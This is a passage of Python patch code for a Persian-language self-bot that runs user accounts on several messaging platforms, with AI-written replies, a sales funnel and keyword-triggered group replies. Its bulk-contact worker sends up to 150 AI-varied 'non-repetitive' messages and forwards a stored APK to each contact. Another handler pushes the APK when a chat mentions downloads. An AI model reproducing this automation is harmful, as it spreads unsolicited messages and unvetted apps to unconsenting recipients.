                [("🔴 مشاهده بحرانی", "user.health.filter:critical", "danger")],
                [("📋 همه اکانت‌ها", "user.health.all", "primary")],
                [("🔄 بروزرسانی", "user.health.refresh", "primary")],
                [("🏠 خانه", "menu", "primary")],
            ]))
        if data_s.startswith("user.health.filter:"):
            status = data_s.split(":", 1)[1]
            accs = _DB().fetchall(
                "SELECT id FROM accounts WHERE user_id=? AND enabled=1", (uid,)
            )
            lines = []
            for a in accs:
                h = _health_compute(uid, int(a["id"]))
                if h and h["status"] == status:
                    lines.append(f"{_health_emoji(h['status'])} #{a['id']} — {h['rate']}٪")
            if not lines:
                lines = [f"هیچ اکانت با وضعیت {status} نداری"]
            return await _safe_edit(chat_id, msg_id,
                                    TRX_UI_STYLE.menu(f"وضعیت {status}", lines),
                                    _IKB([[("↩️ بازگشت", "user.health.show", "primary")]]))
        if data_s == "user.health.all":
            accs = _DB().fetchall(
                "SELECT id,service,phone FROM accounts WHERE user_id=? AND enabled=1 "
                "ORDER BY id DESC LIMIT 20", (uid,)
            )
            lines = []
            for a in accs:
                h = _health_compute(uid, int(a["id"]))
                if not h:
                    continue
                pm = trx._mask_phone(a["phone"]) if a["phone"] else "—"
                lines.append(f"{_health_emoji(h['status'])} #{a['id']} | "
                             f"{_platform_label(a['service'], lang)} | {pm}\n"
                             f"  ◇ {h['rate']}٪")
            if not lines:
                lines = ["اکانتی نداری"]
            return await _safe_edit(chat_id, msg_id,
                                    TRX_UI_STYLE.menu("همه اکانت‌ها", lines),
                                    _IKB([
                                        [("🔄 بروزرسانی", "user.health.show", "primary")],
                                        [("🏠 خانه", "menu", "primary")],
                                    ]))
        if data_s == "user.health.refresh":
            return await _health_dispatch(cb_id, uid, lang, u, chat_id, msg_id,
                                          "user.health.show")
    except Exception as e:
        _LOG_ERR(f"[PATCH][health] dispatch: {_mask(str(e))}")
    return None


# ═══════════════════════════════════════════════════════════════════════════
# 20) AI MENU AUGMENTATION — add new buttons
# ═══════════════════════════════════════════════════════════════════════════

_ORIG_AI_MENU = trx.ai_advanced_menu


def _patched_ai_menu(lang, uid):
    base = _ORIG_AI_MENU(lang, uid)
    try:
        if not isinstance(base, dict):
            return base
        rows = [list(r) for r in base.get("inline_keyboard", [])]
        existing = set()
        for row in rows:
            for b in row:
                if isinstance(b, dict):
                    existing.add(b.get("callback_data"))
        # Insert our new buttons before home button
        new_rows = [
            [{"text": "📨 پیام به مخاطبین", "callback_data": "ai.bulk.contacts",
              "style": "primary"}],
            [{"text": "📤 ارسال APK", "callback_data": "apkfix.start",
              "style": "primary"}],
            [{"text": "🖼 گالری APK", "callback_data": f"{GALLERY_PREFIX}start",
              "style": "primary"},
             {"text": "🎬 ویدیو گالری", "callback_data": f"{GALLERY_PREFIX}video.start",
              "style": "primary"}],
            [{"text": "👁 رصد کلمات کلیدی", "callback_data": f"{KWL_PREFIX}start",
              "style": "success"}],
            [{"text": "🎯 قیف فروش من", "callback_data": "user.funnel.start",
              "style": "primary"},
             {"text": "🧠 حافظه‌های من", "callback_data": "user.ltm.start",
              "style": "primary"}],
        ]
        # toggle buttons
        profile_enabled = _profile_is_enabled(uid)
        learn_enabled = _learn_is_enabled(uid)
        toggles = [
            [{"text": ("🟢 نام‌بردن از کاربر (فعال)" if profile_enabled
                       else "🔴 نام‌بردن از کاربر (غیرفعال)"),
              "callback_data": "user.profile.toggle",
              "style": "success" if profile_enabled else "danger"}],
            [{"text": ("🟢 یادگیری از موفقیت‌ها (فعال)" if learn_enabled
                       else "🔴 یادگیری از موفقیت‌ها (غیرفعال)"),
              "callback_data": "user.learn.toggle",
              "style": "success" if learn_enabled else "danger"}],
        ]

        # Find where home button is
        home_idx = len(rows)
        for i, row in enumerate(rows):
            for b in row:
                if isinstance(b, dict) and b.get("callback_data") == "menu":
                    home_idx = i
                    break
            if home_idx != len(rows):
                break

        to_insert = new_rows + toggles
        # Avoid duplicating buttons that already exist
        final_insert = []
        for r in to_insert:
            keep = False
            for b in r:
                if b["callback_data"] not in existing:
                    keep = True
                    existing.add(b["callback_data"])
            if keep:
                final_insert.append(r)

        rows[home_idx:home_idx] = final_insert
        return {"inline_keyboard": rows}
    except Exception as e:
        _LOG_WARN(f"[PATCH] ai_menu augment: {_mask(str(e))}")
        return base


trx.ai_advanced_menu = _patched_ai_menu


# ═══════════════════════════════════════════════════════════════════════════
# 21) MAIN MENU — health button
# ═══════════════════════════════════════════════════════════════════════════

_ORIG_MAIN_MENU = trx.main_menu


def _patched_main_menu(lang, uid):
    base = _ORIG_MAIN_MENU(lang, uid)
    try:
        if not isinstance(base, dict):
            return base
        rows = [list(r) for r in base.get("inline_keyboard", [])]
        rows.insert(0, [
            {"text": "🩺 سلامت اکانت‌ها", "callback_data": "user.health.show",
             "style": "primary"},
        ])
        return {"inline_keyboard": rows}
    except Exception:
        return base


trx.main_menu = _patched_main_menu
# Also rebind the module-level main_menu used internally
try:
    import __main__
    __main__.main_menu = _patched_main_menu
except Exception:
    pass


# ═══════════════════════════════════════════════════════════════════════════
# 22) DISPATCHER CHAIN — combine all patch callbacks
# ═══════════════════════════════════════════════════════════════════════════

_ORIG_DISPATCH = trx.dispatch_cb

_PATCH_DISPATCHERS = (
    _trxq11bulk_dispatch,
    _apkfix_dispatch,
    _gallery_dispatch,
    _kwl_dispatch,
    _funnel_dispatch,
    _ltm_dispatch,
    _profile_dispatch,
    _learn_dispatch,
    _health_dispatch,
)


async def _patch_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    # Let ours handle first
    for fn in _PATCH_DISPATCHERS:
        try:
            r = await fn(cb_id, uid, lang, u, chat_id, msg_id, data_s)
            if r is not None:
                return r
        except Exception as e:
            _LOG_ERR(f"[PATCH][dispatch] {fn.__name__}: {_mask(str(e))}")
    # Delegate to original
    try:
        return await _ORIG_DISPATCH(cb_id, uid, lang, u, chat_id, msg_id, data_s)
    except Exception as e:
        _LOG_ERR(f"[PATCH][dispatch] orig: {_mask(str(e))}")
        try:
            trx.state.pop(uid)
        except Exception:
            pass


trx.dispatch_cb = _patch_dispatch


# ═══════════════════════════════════════════════════════════════════════════
# 23) MESSAGE CHAIN — combine all patch on_msg handlers
# ═══════════════════════════════════════════════════════════════════════════

_ORIG_ON_MSG = trx.on_msg

_PATCH_MSG_HANDLERS = (
    _trxq11bulk_on_msg,
    _apkfix_on_msg,
    _gallery_on_msg,
    _gvideo_on_msg,
)


async def _patch_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()

    if not uid:
        try:
            return await _ORIG_ON_MSG(msg)
        except Exception:
            return None

    # Let ours try first (they return None if not applicable)
    for fn in _PATCH_MSG_HANDLERS:
        try:
            r = await fn(msg)
            if r is not None:
                return r
        except Exception as e:
            _LOG_ERR(f"[PATCH][on_msg] {fn.__name__}: {_mask(str(e))}")

    # Delegate to original
    try:
        return await _ORIG_ON_MSG(msg)
    except Exception as e:
        _LOG_ERR(f"[PATCH][on_msg] orig: {_mask(str(e))}")
        return None


trx.on_msg = _patch_on_msg


# ═══════════════════════════════════════════════════════════════════════════
# 24) AI SYSTEM WRAP — inject funnel, persona, memory, patterns, profile
# ═══════════════════════════════════════════════════════════════════════════

def _extract_peer_from_extra(extra):
    m = re.search(r"(?:peer|Peer)[=:\s]+([^\s,]+)", str(extra or ""))
    return m.group(1) if m else ""

def _extract_platform_from_extra(extra):
    m = re.search(r"Platform[=:\s]+([a-z]+)", str(extra or ""), re.I)
    return m.group(1).lower() if m else ""


# The actual _ai_system used by patch is `_ai_system`. We've already wrapped
# trx._trx_ai_system (persona). Now we also inject profile/funnel/learned/LTM.

_AI_SYSTEM_WRAPPED = trx._trx_ai_system


def _deep_ai_system(uid, aid, mode="reply", extra=""):
    base = _AI_SYSTEM_WRAPPED(uid, aid, mode, extra)
    try:
        platform = _extract_platform_from_extra(extra) or "rubika"
        peer = _extract_peer_from_extra(extra)
        extra_parts = []

        if peer:
            # Funnel behavior
            try:
                fb = _funnel_behavior_prompt(uid, aid, platform, peer)
                if fb:
                    extra_parts.append("═══ قیف فروش ═══\n" + fb)
            except Exception:
                pass
            # Long term memory
            try:
                ltm = _ltm_get(uid, aid, platform, peer)
                if ltm and ltm.get("summary"):
                    extra_parts.append(
                        "═══ 🧠 حافظه بلندمدت (۲ روز اخیر) ═══\n"
                        + str(ltm["summary"])[:800]
                        + ("\nفکت‌ها: " + str(ltm.get("key_facts", ""))[:400]
                           if ltm.get("key_facts") else "")
                    )
            except Exception:
                pass
            # Learned patterns (only when we have user_text)
            try:
                user_text = ""
                m = re.search(r"UserText[=:]\s*(.+)$", str(extra or ""), re.S)
                if m:
                    user_text = m.group(1)[:500]
                if user_text:
                    pats = _learn_get_relevant(uid, aid, platform, user_text, limit=5)
                    if pats:
                        extra_parts.append(_learn_format_for_ai(pats))
            except Exception:
                pass

        if extra_parts:
            return base + "\n\n" + "\n\n".join(extra_parts)
        return base
    except Exception:
        return base


trx._trx_ai_system = _deep_ai_system
# Rebind module-level reference
try:
    _ai_system = trx._trx_ai_system
except Exception:
    pass


# ═══════════════════════════════════════════════════════════════════════════
# 25) LIVE EVENT HANDLER — wrap final live handler to inject all features
# ═══════════════════════════════════════════════════════════════════════════

_ORIG_LIVE_HANDLER = getattr(trx, "_trx01_event_handler", None)


async def _patch_live_handler(event, uid, service, aid):
    try:
        client = trx.ai_live_clients.get((uid, aid))
        if client is None:
            try:
                client = await trx._ensure_ai_client(uid, aid)
            except Exception:
                client = None

        text_value = ""
        try:
            text_value = trx._trx_extract_event_text(event) or ""
        except Exception:
            text_value = ""

        try:
            is_private = trx._trx_is_private_event(event)
            is_group = trx._trx_is_group_event(event)
        except Exception:
            is_private = True
            is_group = False

        peer_key = ""
        try:
            peer_key = trx._trx_peer_key(event, f"{service}:{aid}")
        except Exception:
            peer_key = f"{service}:{aid}"

        # ===== GROUP =====
        if is_group and text_value and client is not None:
            # Auto-register group
            try:
                group_id = None
                try:
                    group_id = await trx._trx_event_chat_id(event)
                except Exception:
                    group_id = None
                if group_id:
                    _DB().execute(
                        "INSERT OR IGNORE INTO trx_keyword_listener("
                        "user_id,account_id,platform,group_id,enabled,scan_enabled,"
                        "reply_cooldown,daily_reply_cap,created_at) "
                        "VALUES(?,?,?,?,0,1,300,10,?)",
                        (uid, aid, str(service), str(group_id), trx.now()),
                    )
            except Exception:
                pass

            # Try keyword listener
            try:
                is_reply_to_me = trx._trx_event_is_reply(event)
                is_mention = trx._trx_event_mentions_me(event)
                sender = None
                try:
                    sender = getattr(event, "sender_id", None) or getattr(event, "user_id", None)
                except Exception:
                    sender = None
                if is_reply_to_me or is_mention:
                    should, reason = await _group_should_ai_reply(
                        uid, aid, str(service), str(group_id or ""),
                        str(sender or ""), text_value, is_reply_to_me, is_mention,
                    )
                    if should:
                        # Deliver via original handler
                        if _ORIG_LIVE_HANDLER is not None:
                            return await _ORIG_LIVE_HANDLER(event, uid, service, aid)
                        return
                    return
                # Not addressed to us: check keyword listener
                should_kwl, keyword = await _kwl_should_reply(
                    uid, aid, str(service), str(group_id or ""),
                    str(sender or ""), text_value,
                )
                if should_kwl:
                    reply_text = await _kwl_generate_reply(
                        uid, aid, str(service), str(peer_key),
                        text_value, keyword, str(sender or ""),
                    )
                    if reply_text:
                        ok = await _kwl_do_reply(
                            client, str(service), group_id,
                            getattr(event, "id", None) or getattr(event, "message_id", None),
                            str(sender or ""), reply_text,
                        )
                        try:
                            _DB().execute(
                                "INSERT INTO trx_keyword_reply_log("
                                "user_id,account_id,platform,group_id,peer_id,"
                                "trigger_message,reply_message,keyword_matched,success,created_at"
                                ") VALUES(?,?,?,?,?,?,?,?,?,?)",
                                (uid, aid, str(service), str(group_id),
                                 str(sender or ""), text_value[:500],
                                 reply_text[:500], keyword, 1 if ok else 0,
                                 trx.now()),
                            )
                        except Exception:
                            pass
                        try:
                            _DB().execute(
                                "UPDATE trx_keyword_listener SET last_reply_at=? "
                                "WHERE user_id=? AND account_id=? AND platform=? "
                                "AND group_id=?",
                                (trx.now(), uid, aid, str(service), str(group_id)),
                            )
                        except Exception:
                            pass
                        _LOG_INFO(f"[PATCH][kwl] uid={uid} aid={aid} grp={group_id} "
                                  f"keyword={keyword} reply={'OK' if ok else 'FAIL'}")
                        return
            except Exception as e:
                _LOG_WARN(f"[PATCH][group] {_mask(str(e))}")

            # Fall back to normal group reply if not handled
            if _ORIG_LIVE_HANDLER is not None:
                return await _ORIG_LIVE_HANDLER(event, uid, service, aid)
            return

        # ===== PRIVATE =====
        if is_private and text_value and client is not None:
            # Try gallery video first
            try:
                gv_sent = await _gvideo_maybe_send(uid, aid, str(service), str(peer_key), text_value, client)
            except Exception:
                gv_sent = False
            # Try gallery photo
            try:
                gph_sent = await _gallery_maybe_send(uid, aid, str(service), str(peer_key), text_value, client)
            except Exception:
                gph_sent = False

            # APK intent auto-forward
            try:
                low = text_value.lower()
                if any(k in low for k in ("apk", "برنامه", "فایل", "دانلود", "نصب")):
                    apk = trx._trx660_apk_payload(uid, aid)
                    if apk:
                        apk_id = int(apk.get("id") or apk.get("apk_id") or 0)
                        target = await trx._trx_event_chat_id(event)
                        if apk_id and target:
                            ok, _ = await trx._trx_forward_source_apk_v11(uid, aid, target, apk_id)
                            if ok:
                                _log_activity(aid, uid, "apk_forward", str(target), 1)
                                return
            except Exception:
                pass

            # Fall through to original AI
            if _ORIG_LIVE_HANDLER is not None:
                return await _ORIG_LIVE_HANDLER(event, uid, service, aid)
            return

        # Fallback
        if _ORIG_LIVE_HANDLER is not None:
            return await _ORIG_LIVE_HANDLER(event, uid, service, aid)
    except asyncio.CancelledError:
        raise
    except Exception as e:
        _LOG_ERR(f"[PATCH][live] {service}/{aid}: {_mask(str(e))}")
        try:
            if _ORIG_LIVE_HANDLER is not None:
                return await _ORIG_LIVE_HANDLER(event, uid, service, aid)
        except Exception:
            pass


# Replace all live handler names
for name in ("_trx01_event_handler", "_trx_event_handler", "_trx_event_handler_v9",
             "_trx_event_handler_v10", "_trx_event_handler_v11",
             "_trx115_event_handler_v14"):
    try:
        setattr(trx, name, _patch_live_handler)
    except Exception:
        pass


# ═══════════════════════════════════════════════════════════════════════════
# 26) WRAP _register_ai_handler to make sure our wrapper is used
# ═══════════════════════════════════════════════════════════════════════════

_ORIG_REGISTER = trx._register_ai_handler


def _patched_register(client, uid, service, account_id=None):
    try:
        return _ORIG_REGISTER(client, uid, service, account_id)
    except Exception as e:
        _LOG_WARN(f"[PATCH] register_ai_handler: {_mask(str(e))}")
        return False


trx._register_ai_handler = _patched_register


# ═══════════════════════════════════════════════════════════════════════════
# 27) DB INIT WRAP — ensure schema runs on first boot
# ═══════════════════════════════════════════════════════════════════════════

_ORIG_DB_INIT = trx.DB.__init__


def _patched_db_init(self, path):
    _ORIG_DB_INIT(self, path)
    try:
        trx.db = self
        _PATCH_ensure_schema()
    except Exception as e:
        _LOG_WARN(f"[PATCH] db init schema: {_mask(str(e))}")


trx.DB.__init__ = _patched_db_init


# ═══════════════════════════════════════════════════════════════════════════
# 28) MAIN WRAP — run pending restart check + start schedulers
# ═══════════════════════════════════════════════════════════════════════════

_ORIG_MAIN = trx.main


async def _patched_main():
    _LOG_INFO("[PATCH] Starting main with patch overlay...")
    # Pre-flight: ensure schema
    try:
        if _DB() is not None:
            _PATCH_ensure_schema()
    except Exception:
        pass
    # Run the original main but wrap the boot sequence to add our hooks.
    # We do this by patching some key functions that main calls after get_me().
    # The simplest approach: monkeypatch the "check_pending" onto main's flow
    # by wrapping _ORIG_MAIN and later calling _trx_patch_check_pending_restart.

    # We wrap bot.get_me() to fire post-boot hooks once.
    try:
        _orig_get_me = _BOT().get_me
    except Exception:
        _orig_get_me = None

    # Instead of trying to intercept inside main(), we schedule a task
    # right after bot.running = True. This is done via a small "boot hook"
    # registered on the bot.

    async def _boot_hook():
        # Wait until bot is running
        for _ in range(60):
            if getattr(trx.bot, "running", False) and getattr(trx.bot, "me", None):
                break
            await asyncio.sleep(0.5)
        # Fire pending restart check
        try:
            await _trx_patch_check_pending_restart()
        except Exception as e:
            _LOG_WARN(f"[PATCH][boot] pending restart: {_mask(str(e))}")
        # Start schedulers
        try:
            _create_task(_ltm_scheduler())
        except Exception:
            pass
        try:
            _create_task(_learn_scheduler())
        except Exception:
            pass
        try:
            _create_task(_health_scheduler())
        except Exception:
            pass

    _create_task(_boot_hook())

    try:
        await _ORIG_MAIN()
    except asyncio.CancelledError:
        raise
    except SystemExit:
        raise
    except Exception as e:
        _LOG_ERR(f"[PATCH][main] {_mask(str(e))}")
        traceback.print_exc(limit=40)


trx.main = _patched_main



# ═══════════════════════════════════════════════════════════════════════════
# TRX_J FINAL AUDIT / REPAIR LAYER — append-only
# ═══════════════════════════════════════════════════════════════════════════
# این لایه هیچ خط قبلی را حذف نمی‌کند؛ فقط آخرین handlerها و توابع معیوب را
# با نسخهٔ پایدارتر override می‌کند.

TRX_J_BUILD = "2026-09-25-final-audit"


def _trxj_parse_account_callback(data_s, prefix):
    """Parse callbacks shaped exactly as <prefix>acc:<aid>:<platform>."""
    raw = str(data_s or "")
    wanted = f"{prefix}acc:"
    if not raw.startswith(wanted):
        return None, None
    tail = raw[len(wanted):]
    parts = tail.split(":", 1)
    if len(parts) != 2:
        return None, None
    try:
        aid = int(parts[0])
    except Exception:
        return None, None
    platform = str(parts[1]).strip().lower()
    if platform not in ALL_PLATFORMS:
        return None, None
    return aid, platform


def _trxj_validate_account(uid, aid, platform):
    try:
        return _account_context(uid, aid, platform)
    except Exception:
        try:
            row = _DB().fetchone(
                "SELECT id,service,phone FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (int(aid), int(uid)),
            )
            if not row:
                return None
            actual = str(row["service"] or "").strip().lower()
            if actual != str(platform or "").strip().lower():
                return None
            return {
                "id": int(row["id"]),
                "platform": actual,
                "phone": row["phone"] or "",
            }
        except Exception:
            return None


# ---------------------------------------------------------------------------
# 1) ADMIN RESTART — fix chat-id persistence + re-exec the PATCH itself
# ---------------------------------------------------------------------------

async def _trx_restart_process(uid=None, chat_id=None):
    """Single-process restart. No Popen/system/kill; re-exec this patch file."""
    admin_uid = int(uid or TRX_ADMIN_ID)
    admin_chat = str(chat_id if chat_id is not None else admin_uid)
    key = f"pending_restart:{admin_uid}"

    try:
        _setting_set(key, admin_chat)
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][restart] step flag fail: {_mask(str(exc))}")

    try:
        bot_obj = _BOT()
        if bot_obj is not None:
            bot_obj.running = False
        _LOG_INFO("[TRX_J][restart] step stop-poll success")
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][restart] step stop-poll fail: {_mask(str(exc))}")

    try:
        current = asyncio.current_task()
        for task in asyncio.all_tasks():
            if task is current:
                continue
            try:
                task.cancel()
            except Exception:
                pass
        await asyncio.sleep(0.5)
        _LOG_INFO("[TRX_J][restart] step cancel-tasks success")
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][restart] step cancel-tasks fail: {_mask(str(exc))}")

    try:
        bot_obj = _BOT()
        if bot_obj is not None:
            await bot_obj.close()
        _LOG_INFO("[TRX_J][restart] step bot-close success")
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][restart] step bot-close fail: {_mask(str(exc))}")

    try:
        ai_obj = _AI()
        if ai_obj is not None:
            await ai_obj.close()
        _LOG_INFO("[TRX_J][restart] step ai-close success")
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][restart] step ai-close fail: {_mask(str(exc))}")

    try:
        db_obj = _DB()
        if db_obj is not None:
            try:
                conn = getattr(db_obj, "conn", None)
                if conn is not None:
                    conn.commit()
            except Exception as exc:
                _LOG_WARN(f"[TRX_J][restart] db commit warning: {_mask(str(exc))}")
            db_obj.close()
        _LOG_INFO("[TRX_J][restart] step db-close success")
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][restart] step db-close fail: {_mask(str(exc))}")

    try:
        remover = getattr(trx, "_remove_pid", None)
        if callable(remover):
            remover()
        _LOG_INFO("[TRX_J][restart] step pid-remove success")
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][restart] step pid-remove fail: {_mask(str(exc))}")

    try:
        await asyncio.sleep(1.0)
    except Exception:
        pass

    try:
        python = sys.executable
        script = os.path.abspath(__file__)
        _LOG_INFO(f"[TRX_J][restart] execv {python} {script}")
        os.execv(python, [python, script])
    except Exception as exc:
        _LOG_ERR(f"[TRX_J][restart] execv fail: {_mask(str(exc))}")
        try:
            os._exit(0)
        except Exception:
            sys.exit(0)


async def _trx_patch_check_pending_restart():
    try:
        key = f"pending_restart:{TRX_ADMIN_ID}"
        row = _DB().fetchone("SELECT value FROM settings WHERE key=?", (key,))
        if not row or not row["value"]:
            return
        try:
            chat_id = int(str(row["value"]).strip())
        except Exception:
            chat_id = TRX_ADMIN_ID
        try:
            await _BOT().send(
                chat_id,
                "✅ ربات با موفقیت ری‌استارت شد 🚀",
                parse_mode=None,
            )
            _LOG_INFO(f"[TRX_J][restart] boot notify success chat={chat_id}")
        except Exception as exc:
            _LOG_WARN(f"[TRX_J][restart] boot notify fail: {_mask(str(exc))}")
            return
        try:
            _DB().execute("DELETE FROM settings WHERE key=?", (key,))
        except Exception as exc:
            _LOG_WARN(f"[TRX_J][restart] clear flag fail: {_mask(str(exc))}")
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][restart] pending check fail: {_mask(str(exc))}")


_TRXJ_ADMIN_MENU_BASE = getattr(trx, "admin_menu", None)


def _trxj_admin_menu(lang):
    try:
        base = _TRXJ_ADMIN_MENU_BASE(lang) if callable(_TRXJ_ADMIN_MENU_BASE) else _IKB([])
        rows = [list(r) for r in (base or {}).get("inline_keyboard", [])]
        already = any(
            isinstance(btn, dict) and btn.get("callback_data") == "adm.restart"
            for row in rows for btn in row
        )
        if already:
            return {"inline_keyboard": rows}

        restart_btn = {
            "text": "🔄 ری‌استارت ربات",
            "callback_data": "adm.restart",
            "style": "danger",
        }
        for row in rows:
            if any(
                isinstance(btn, dict) and btn.get("callback_data") == "adm.maint"
                for btn in row
            ):
                row.append(restart_btn)
                return {"inline_keyboard": rows}
        rows.insert(0, [
            {"text": "🛠 تعمیرات", "callback_data": "adm.maint", "style": "danger"},
            restart_btn,
        ])
        return {"inline_keyboard": rows}
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][admin_menu] {_mask(str(exc))}")
        return _IKB([[("🔄 ری‌استارت ربات", "adm.restart", "danger")]])


trx.admin_menu = _trxj_admin_menu

_TRXJ_ADMIN_DISPATCH_BASE = getattr(trx, "admin_dispatch", None)


async def _trxj_admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data):
    try:
        if str(data or "") == "adm.restart":
            if not trx.is_admin(uid):
                return await _TRXJ_ADMIN_DISPATCH_BASE(cb_id, uid, lang, chat_id, msg_id, data)
            await _safe_answer(cb_id)
            return await _safe_edit(
                chat_id,
                msg_id,
                TRX_UI_STYLE.confirm(
                    "ری‌استارت ربات",
                    [
                        "کل پروژه از نو اجرا می‌شود",
                        "polling و sessionهای HTTP/AI بسته می‌شوند",
                    ],
                    "دوباره وارد شدن ربات چند لحظه زمان می‌برد",
                ),
                _IKB([
                    [("✅ بله ری‌استارت کن", "adm.restart.confirm", "success")],
                    [("❌ لغو", "cancel", "danger")],
                ]),
            )

        if str(data or "") == "adm.restart.confirm":
            if not trx.is_admin(uid):
                return await _TRXJ_ADMIN_DISPATCH_BASE(cb_id, uid, lang, chat_id, msg_id, data)
            await _safe_answer(cb_id)
            await _safe_edit(
                chat_id,
                msg_id,
                "⊰ ✧ ری‌استارت ربات ✧ ⊱\n"
                f"{SEP_MAIN}\n"
                "← 🔄 ربات داره ری‌استارت می‌شه...",
            )
            await _trx_restart_process(uid=uid, chat_id=chat_id)
            return
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _LOG_ERR(f"[TRX_J][admin_dispatch] {_mask(str(exc))}")
        return await _safe_edit(chat_id, msg_id, "⚠️ ری‌استارت انجام نشد. دوباره امتحان کن.", trx.admin_menu(lang))

    if callable(_TRXJ_ADMIN_DISPATCH_BASE):
        return await _TRXJ_ADMIN_DISPATCH_BASE(cb_id, uid, lang, chat_id, msg_id, data)
    return None


trx.admin_dispatch = _trxj_admin_dispatch


# ---------------------------------------------------------------------------
# 2) BULK CONTACTS — definitive count/platform state machine
# ---------------------------------------------------------------------------

async def _trxq11bulk_get_contacts(uid, aid, platform, count):
    try:
        requested = int(_norm_digits(str(count)))
    except Exception:
        return [], 0
    if requested < 1 or requested > 150:
        return [], 0
    try:
        rows = _DB().fetchall(
            "SELECT peer_id FROM trx01_known_peers "
            "WHERE user_id=? AND account_id=? AND platform=? AND peer_type='private' "
            "ORDER BY last_seen DESC",
            (int(uid), int(aid), str(platform).strip().lower()),
        )
    except Exception:
        rows = []
    out = []
    seen = set()
    for row in rows:
        peer = str(row["peer_id"] or "").strip()
        if peer and peer not in seen:
            seen.add(peer)
            out.append(peer)
    return out[:requested], len(out)


async def _trxq11bulk_worker(uid, aid, platform, base_text, peers, batch_id, chat_id, lang):
    sent = 0
    failed = 0
    total = len(peers)
    client = trx.ai_live_clients.get((uid, int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(uid, int(aid))
        except Exception:
            client = None

    # The bulk-contact action also forwards the currently configured APK for the
    # exact same account/platform when one exists, then sends the AI message.
    apk_source = None
    try:
        apk_source = _DB().fetchone(
            "SELECT af.id AS apk_id, src.account_id AS source_aid, src.platform, "
            "src.source_peer, src.source_message_id "
            "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
            "WHERE af.user_id=? AND af.enabled=1 AND src.account_id=? AND src.platform=? "
            "ORDER BY af.id DESC LIMIT 1",
            (int(uid), int(aid), str(platform).lower()),
        )
    except Exception:
        apk_source = None
    apk_sent = 0

    for idx, peer in enumerate(list(peers)):
        try:
            if client is None:
                raise RuntimeError("self-bot account is unavailable")
            apk_ok = True
            if apk_source and int(apk_source["source_aid"] or 0) == int(aid) and str(apk_source["platform"] or "").lower() == str(platform).lower():
                apk_ok, apk_info = await _apkfix_do_forward(
                    client,
                    str(apk_source["source_peer"] or ""),
                    str(apk_source["source_message_id"] or ""),
                    peer,
                    platform,
                )
                if not apk_ok:
                    raise RuntimeError(f"APK forward failed: {str(apk_info)[:300]}")
                apk_sent += 1

            mem = _memory_load(uid, aid, str(peer), 6)
            ctx = _trxj_context_for(uid, aid, str(peer), str(platform), base_text)
            sys_prompt = _trxj_ai_system(
                uid,
                aid,
                "bulk_pv",
                f"Platform={platform}. Peer={peer}. UserText={base_text}. "
                "برای این مخاطب یک پیام کوتاه، طبیعی و غیرتکراری بنویس؛ "
                "معنا حفظ شود و از اطلاعات واقعی حافظه/پرسونا استفاده شود.",
            )
            msgs = [{"role": "system", "content": sys_prompt}]
            msgs.extend(mem)
            msgs.append({
                "role": "user",
                "content": f"این متن پایه را برای همین مخاطب بازنویسی کن:\n{base_text}",
            })
            unique = await _AI().chat(
                msgs,
                uid=uid,
                account_id=aid,
                action_type="bulk_pv",
                temperature=0.85,
                max_tokens=300,
            )
            unique = _cleanup_caption(unique or base_text)
            send = getattr(client, "send_message", None)
            if not callable(send):
                raise RuntimeError("client.send_message unavailable")
            res = send(peer, unique)
            if asyncio.iscoroutine(res):
                await res
            sent += 1
            try:
                _memory_save(uid, aid, str(peer), "assistant", unique)
            except Exception:
                pass
            ok = 1
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            failed += 1
            ok = 0
            unique = ""
            _LOG_WARN(f"[TRX_J][bulk] peer={peer} fail: {_mask(str(exc))}")
        try:
            _DB().execute(
                "INSERT INTO trx222b_bulk_log(" 
                "user_id,account_id,platform,peer_id,message_text,success,batch_id,created_at) "
                "VALUES(?,?,?,?,?,?,?,?)",
                (uid, aid, str(platform), str(peer), str(unique)[:500], ok, batch_id, trx.now()),
            )
        except Exception:
            pass
        if idx < total - 1:
            await asyncio.sleep(7)

    try:
        report = TRX_UI_STYLE.report(
            "گزارش ارسال به مخاطبین",
            {
                "موفق": sent,
                "ناموفق": failed,
                "کل": total,
                "APK فوروارد شده": apk_sent,
                "پلتفرم": _platform_label(platform, lang),
            },
        )
        await _BOT().send(chat_id, report, reply_markup=trx.ai_advanced_menu(lang, uid))
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][bulk] report fail: {_mask(str(exc))}")


async def _trxq11bulk_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if data_s == "ai.bulk.contacts":
        await _safe_answer(cb_id)
        try:
            trx.state.pop(uid)
        except Exception:
            pass
        kb = _IKB([
            [("🔵 روبیکا", "trxq11bulk.plat:rubika", "primary"),
             ("🔴 سروش پلاس", "trxq11bulk.plat:soroush", "danger")],
            [("🟡 بله", "trxq11bulk.plat:bale", "primary"),
             ("🟦 تلگرام", "trxq11bulk.plat:telegram", "primary")],
            [("🟩 شاد", "trxq11bulk.plat:shad", "success")],
            [("↩️ بازگشت", "ai", "primary")],
        ])
        return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("پیام به مخاطبین", ["پلتفرم را انتخاب کن"]), kb)

    if not data_s.startswith(BULK_PREFIX):
        return None

    await _safe_answer(cb_id)
    try:
        if data_s.startswith(f"{BULK_PREFIX}plat:"):
            platform = data_s.split(":", 1)[1].strip().lower()
            if platform not in ALL_PLATFORMS:
                return await _safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.", trx.ai_advanced_menu(lang, uid))
            rows = _DB().fetchall(
                "SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
                (uid, platform),
            )
            buttons = []
            for row in rows:
                buttons.append([(
